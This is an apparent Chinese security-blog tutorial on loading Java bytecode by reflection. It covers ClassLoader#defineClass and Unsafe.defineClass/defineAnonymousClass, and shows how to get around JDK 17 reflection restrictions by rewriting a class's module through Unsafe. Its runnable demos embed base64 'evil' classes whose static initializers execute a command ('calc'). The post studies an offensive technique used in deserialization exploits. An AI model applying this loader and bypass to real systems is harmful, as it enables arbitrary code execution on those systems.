[java学习]反射类加载字节码

利用ClassLoader#defineClass动态加载字节码 利用ClassLoader#defineClass直接加载字节码,底层调用原理。 阅读详情

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

免责声明

本号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

defineClass

defineClass的作用是处理传入的字节码(byte[]),将其处理成真正的Java类(Class)。 Java默认的ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中,因为系统的ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问,需要使用反射的形式来调用。 以下是常用几种获取 ClassLoader 的方式:

ClassLoader loader = Thread.currentThread().getContextClassLoader();
ClassLoader loader = ClassLoader.getSystemClassLoader();
ClassLoader loader = this.getClass().getClassLoader();

利用defineClass加载类字节码的demo:

import java.lang.reflect.Method;
import java.util.Base64;
​
public class demo1 {
    public static void main(String[] args) throws Exception {
        String evilClassBase64 = "yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==";
        byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class cc = (Class) method.invoke(ClassLoader.getSystemClassLoader(), "test", bytes, new Integer(0), new Integer(bytes.length));
        cc.newInstance();
​
    }
}

image.png

base64的类字节码内容如下:

image.png

高版本的限制

jdk9版本开始引入Java平台模块系统JPMS,详细介绍可以看Oracle官方对于jdk9的新特性说明:Java Platform, Standard Edition What’s New in Oracle JDK 9, Release 9

在jdk9及以后版本运行会有这种非法反射访问的警告,但不会影响字节码的加载。

image.png

原因是jdk9以上模块不能使用反射去访问非公有的成员/成员方法以及构造方法,除非模块标识为opens去允许反射访问。 jdk17版本及之后使用了强封装直接会ban掉非法反射,运行直接报错。

image.png

可以看报错提示:java.base模块中的java.lang包没有对未命名模块开放反射。

image.png

但是,官方预留了sun.misc和sun.reflect两个包可以进行反射调用。

image.png

Unsafe类

Java 魔法类 Unsafe 详解 | JavaGuide

Unsafe是位于sun.misc包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等。 但由于Unsafe类使Java语言拥有了类似C语言指针一样操作内存空间的能力,不正确使用Unsaf 类会使得程序出错的概率变大,使得 Java 这种安全的语言变得不再“安全”。

Unsafe类中有2个方法可以用来加载字节码.。

defineClass方法,允许程序在运行时动态地创建一个类:

import sun.misc.Unsafe;
​
import java.lang.reflect.Field;
import java.util.Base64;
​
public class demo2 {
    public static void main(String[] args) throws Exception {
        String evilClassBase64 = "yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==";
        byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
        Field field = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Class cc = unsafe.defineClass("test", bytes, 0, bytes.length, ClassLoader.getSystemClassLoader(), null);
        cc.newInstance();
    }
}

image.png

defineAnonymousClass方法,可以用来动态的创建一个匿名类:

import sun.misc.Unsafe;
​
import java.lang.reflect.Field;
import java.util.Base64;
​
public class demo3 {
    public static void main(String[] args) throws Exception {
        String evilClassBase64 = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMamF2YS9sYW5nL3Rlc3Q7AQAIPGNsaW5pdD4BAAR2YXIxAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAHQEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBAA5qYXZhL2xhbmcvdGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEACAAJAAAAAAACAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAABgAOAAAADAABAAAABQAPABAAAAAIABEACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAACgAJAA0ADAALAA0ADAAWAA4ADgAAAAwAAQANAAkAEgATAAAAFAAAAAcAAkwHABUJAAEAFgAAAAIAFw==";
        byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
        Field field = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Class cc = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"),bytes,null);
        cc.newInstance();
    }
}

image.png

绕过方式

在8 < jdk <11的jdk版本中,可以反射获取Unsafe对象,利用Unsafe的defineClass方法来加载字节码。

在8 < jdk < 17的jdk版本中,可以反射获取Unsafe对象,利用Unsafe的defineAnonymousClass方法来加载字节码,这样运行时不会有非法反射访问的警告。

image.png

但是,经测试,加载的类需要在java.lang下:

image.png

jdk17,直接移除了Unsafe的defineAnonymousClass方法。

image.png

jdk17调用ClassLoader#defineClass方法时的报错在checkCanSetAccessible方法中。

image.png

定位调试,可以看到通过Reflection.getCallerClass()获取调用者的类的信息和各种方法,随后将获取到的caller与ClassLoader类一同传入到了checkCanSetAccessible方法中。

image.png

image.png

image.png

在checkCanSetAccessible方法中,会先判断获取到的类信息是否是MethodHandle,如果是会抛出异常,接着通过getModule()获取caller和ClassLoader的module,如果它们两个的module是一致的,就会返回true。

image.png

可以通过Unsafe类中的方法来更改当前类的module和ClassLoader类的module一致,来完成绕过。

import sun.misc.Unsafe;
​
import java.lang.reflect.*;
import java.util.Base64;
​
public class demo4 {
    public static void main(String[] args) throws Exception {
        Field unSafeField=Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
        unSafeField.setAccessible(true);
        Unsafe unSafeClass= (Unsafe) unSafeField.get(null);
        Module baseModule=Object.class.getModule();//获取java.lang.Object的module
        Class<?> currentClass= demo4.class;//获取当前类
        long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));//获取module字段相对Java对象的"起始地址"的偏移量
        unSafeClass.getAndSetObject(currentClass,addr,baseModule); //更改当前运行类的module为java.lang.Object的module (即java.base)
//        unSafeClass.putObject(currentClass,addr,baseModule);//更改当前运行类的module为java.lang.Object的module (即java.base)
        String evilClassBase64 = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAg8Y2xpbml0PgEABHZhcjEBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEACXRlc3QuamF2YQwACgALBwAiDAAjACQBAARjYWxjDAAlACYBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAJwEABHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAMADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAcACQAKAAwACAANAAkAFgALAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=";
        byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class cc = (Class) method.invoke(ClassLoader.getSystemClassLoader(), "test", bytes, Integer.valueOf(0), Integer.valueOf(bytes.length));
        cc.newInstance();
    }
}

image.png

Unsafe类的getAndSetObject和putObject方法都可以更改当前运行类的module,区别是: getAndSetObject方法原子地交换了指定偏移量offset处字段的当前值与新值,然后返回之前的值,这意味着它首先获取字段的当前值,然后将新值设置到字段中,并返回之前的值。

因此,这个方法不仅设置了新值,还返回了之前的值,与之相对的putObject就没返回值。

参考链接

https://xz.aliyun.com/t/15035 https://whoopsunix.com/docs/java/named%20module/#0x03-unsafe-%E7%BB%95%E8%BF%87-jdk-17-%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6-named-module

Java魔法类 Unsafe应用解析 Unsafe是位于sun.misc包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源操作能力方面起到了很大的作用。但由于Unsafe类使Java语言拥有了类似C语言指针一样操作内存空间的能力,这无疑也增加了程序发生相关指针问题的风险。在程序中过度、不正确使用Unsafe类会使得程序出错的概率变大,使得Java这种安全的语言变得不再“安全”,因此对Unsafe的使用一定要慎重。 阅读详情

相关推荐

Java安全(一) : java类 | 反射

1.java基础 Java平台共分为三个主要版本Java SE(Java Platform, Standard Edition,Java平台标准版)、Java EE(Java Platform Enterprise Edition,Java平台企业版)、和Java ME(Java Platform, Micro Edition,Java平台微型版)。 2. java类 2.1Classloader 类加载机制 Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译

weixin_45694388的博客 3594

java并发(五)——Unsafe

Unsafe类介绍 Unsafe类是在sun.misc包下,不属于Java标准。但是很多Java的基础类库,包括一些被广泛使用的高性能开发库都是基于Unsafe类开发的,比如Netty、Hadoop、Kafka等。 使用Unsafe可用来直接访问系统内存资源并进行自主管理,Unsafe类在提升Java运行效率,增强Java语言底层操作能力方面起了很大的作用。 Unsafe可认为是Java中留下的后...

hxyascx的博客 693

实战攻防场景下关于高版本JDK反射类加载问题

实战攻防场景下高版本JDK反射类加载问题浅析

Ha1ey的博客 1342

浅谈Java中DefineClass方法以及ClassLoader

一、反射调用ClassLoader类的defineClass方法直接根据字节数组定义一个类 package org.hope; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; public class Main2{ public static void main(St

weixin_38526093的博客 5450

大模型训练方法全面解析:SFT、RFT、TRPO、DPO、PPO、GRPO、RLH、RLHF技术深度剖析

大模型训练方法全面解析 本文系统介绍了当前主流的大模型训练和对齐技术,包括监督微调(SFT)、拒绝采样微调(RFT)、信任域策略优化(TRPO)、直接偏好优化(DPO)、近端策略优化(PPO)等。这些方法各有特点:SFT简单高效但数据依赖性强;RFT通过质量筛选提升输出质量;TRPO训练稳定但计算复杂;PPO是RLHF核心算法,平衡探索与利用。文章详细分析了各方法的实现原理、优势劣势及适用场景,为开发者选择合适的大模型训练策略提供参考。

2796

如何设计ADAS系统功能状态机(一)

状态机模块在自动驾驶系统中扮演着关键的角色,它负责管理和控制各个功能的状态转换和行为执行。今天我们来聊聊如何设计自动驾驶系统的状态机。

supass2018的博客 1615

【JAVA学习】七、注解,反射,字节码,类加载机制

七、注解,反射,字节码,类加载机制 一、 注解 介绍:注解是JDK5.0开始引入的新技术,注解并不是程序本身,只是对程序做出某种解释(与注释不同是可以被其他程序读取)。 内置注解: @Override :表示重写该方法,如果该方法不存在,则报错。 @Deprecated:遗弃废弃,被它修饰的方法,属性,类不鼓励程序员再使用,eclipse在调用被修饰的代码时会有删除线,但不影响使用。 @SuppressWarnings :忽略警告 元注解 :对注解做进一步的解释 @Target : 描述注解的使用范围

xitianxiaofeixue的博客 244

如何创建属于自己的大语言模型:从零开始的指南

随着人工智能的快速发展,大语言模型(LLM)在各种场景中表现出了卓越的能力,例如文本生成、对话交互和内容总结等。本文将带你了解创建 LLM 的核心步骤,从理论到实践,让你拥有一个自己的智能助手。

赵大仁的博客 3280

java学习笔记(Java,类加载器,反射)-自定义类加载器获取运行中工程之外的字节码文件

类加载器学习笔记 因为毕业设计的一个功能是想要实现学生做完编程题目后提交到服务器进行判卷,所以遇到了整个毕设设计阶段最大的难题:学生新提交的字节码文件是我的系统编译运行之后的部分,只用简单的Class.forName并不能如愿得到该.class文件,所以有了这篇笔记O(∩_∩)o 一.类加载器 1.平时我们所说的加载只是类加载过程的一个步骤,一共分为7个阶段:加载、验证、准备、解析、初期花、使...

你在此地别动的博客 502

Innovus快捷键大全:从入门到精通的效率提升指南

本文是Innovus快捷键从入门到精通的效率提升指南,旨在帮助芯片后端设计工程师通过掌握核心快捷键,将重复性鼠标操作转化为高效的肌肉记忆,从而显著提升版图设计、编辑和分析的工作流速度。文章系统讲解了视图导航、对象选择编辑、流程管理等关键快捷键组合,并提供了个性化配置与实战策略,助力工程师突破效率瓶颈,实现人机合一的流畅设计体验。

silver的专栏 797

YOLO11涨点优化:小目标检测 | 多头检测器提升小目标检测精度

引入多头检测器助力YOLO11,添加一个微小物体的检测头暴力提升小目标检测性能

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 4742

java基础--类加载与反射

java基础,类加载,反射

weixin_50204197的博客 157

【保姆级教程】教你如何轻松获取MIMIC数据使用权限

文章非常详细地介绍了MIMIC数据库申请使用的全部步骤。

越努力 越幸运 6600

深入分析Java方法反射的实现原理

“物有本末,事有始终。知其先后,则近道矣” 前段时间看了笨神的 从一起GC血案谈到反射原理一本,就把Java方法的反射机制实现撸了一遍。 方法反射实例 public class ReflectCase { public static void main(String[] args) throws Exception { Proxy target = new Pro...

AlbenXie的博客 341

96.在 Vue 3 中使用 OpenLayers 探究加载 Point、Polygon 的极限

在前端 GIS(地理信息系统)开发中,OpenLayers 作为一个功能强大的 Web 地图库,广泛用于加载地图、渲染矢量数据(点、线、面)、叠加图层等场景。然而,当涉及到。

小彭的博客 1155

n8n智能体开发:Microsoft Outlook 节点

使用 Microsoft Outlook 节点可以自动化 Microsoft Outlook 工作流程,并将其与其他应用程序集成。n8n 内置支持多种 Microsoft Outlook 功能,包括创建、更新、删除和获取文件夹、邮件及草稿等操作。

王国平的博客 570

java 反射机制详细

java 高级属性之反射 java反射是基础,也是我们要往前走必不可少的一部分知识点。之前以为自己懂了,但其实还是很多都不太深入了解。这篇文章当帮自己回顾知识点吧。 反射概念 定义: JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。 用途 在日...

weixin_44189493的博客 308

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

Java反射 --- 面试

一、概念: 通过类的字节码动态的产生对象的过程。 二、原理: 在java代码编译时,需要反射的类或对象并不会占用服务器内存,只有当java代码运行到这个类或对象身上时,才会通过类的字节码动态的产生对象。这也是java动态反射的核心。(代码分为静态代码和动态代码,静态代码的意思是,我们在运行代码后,其中的类、对象啥的都会占用cpu的内存,而动态代码则不会,反射就属...

qq_41676088的博客 208

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

JAVA反射与类加载机制

JAVA反射与类加载机制JAVA反射动态语言反射机制反射的应用场合JAVA反射API反射使用步骤获取Class对象通过反射创建对象JVM类加载机制类加载的声明周期类加载器双亲委派模型 JAVA反射 动态语言 动态语言:程序在运行时可以改变结构,新的函数可以引进,已有的函数可以被删除等结构上的变化。 从反射角度说JAVA属于半动态语言。 反射机制 java反射机制:在运行状态下,对任意一个类都...

lym3lavender的博客 3703

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

Java的类加载、反射

类加载、反射

linwq8的博客 1382

JAVA进阶-枚举,类加载器,反射

枚举、类加载器、反射

qinqin__的博客 2196

浅析java反射(字节码文件)

什么是反射? 先谈谈java程序的运行步骤吧! 先编译后运行对吗? 其实你想一想, 你写的java代码机器真的能认识吗? 早在以前就听过了吧机器是只认识0和1的 所以编译这一阶段也就是将java文件编译成字节码文件也就是.class文件 也就是01码 那什么又是反射呢? 我现在觉得反射就是拿到它的字节码文件,对字节码文件做操作 字节码文件 我先举个例子什么叫做字节码文件 ...

TheSevenSky 3013

类加载和反射

类加载过程和机制的讲解和反射的使用

学习记录和总结 2万+

Java反射、类加载、初始化 【java基础-反射】

Java反射、类加载、初始化 【java基础-反射】

伟庭的博客 1307

java中反射,字节码和类加载器

至少包含表单建模、流程设计、报表可视化、代码生成器、系统管理、前端 UI 等组件,这种情况下我们避免了重复造轮子,已内置大量的成熟组件,选择合适的组件进行集成或二次开发复杂功能,即可自主开发一个属于自己的应用系统。扩展类加载器负责加载JRE的扩展目录(如jre/lib/ext)中的类,而应用类加载器负责加载classpath下的类。特别提醒:应用类加载器的父加载器是扩展类加载器,而扩展类加载器的父加载器是启动类加载器。我们可以理解为:平台类是应用类加载器的上一级的加载器。通过自己写的类可以得到平台类。

fefdfg的博客 912

字节码进阶之java反射的底层实现原理

Java反射的底层实现原理主要涉及到Java的类加载机制和字节码操作。总结起来,Java反射的底层实现原理是通过类加载机制将类的字节码加载到内存中,并通过字节码操作解析和操作类的成员变量、方法和构造方法。这样就实现了在运行时动态地获取和操作类的信息。Java的反射机制允许在执行时查看和修改程序的行为。它使得Java代码可以动态地加载、探查、使用已编译的Java应用,也就是.class文件。下面是使用Java反射的示例和底层原理的解析。我们首先使用方法加载类。

Dream It Possible 814
上一篇: [漏洞复现]泛微e-mobile cdnfile文件读取漏洞分析复现
下一篇: [漏洞利用]xxl-job Hessian2反序列化漏洞深入利用
LiangYueSec
博客等级 码龄2年 560粉丝 37原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值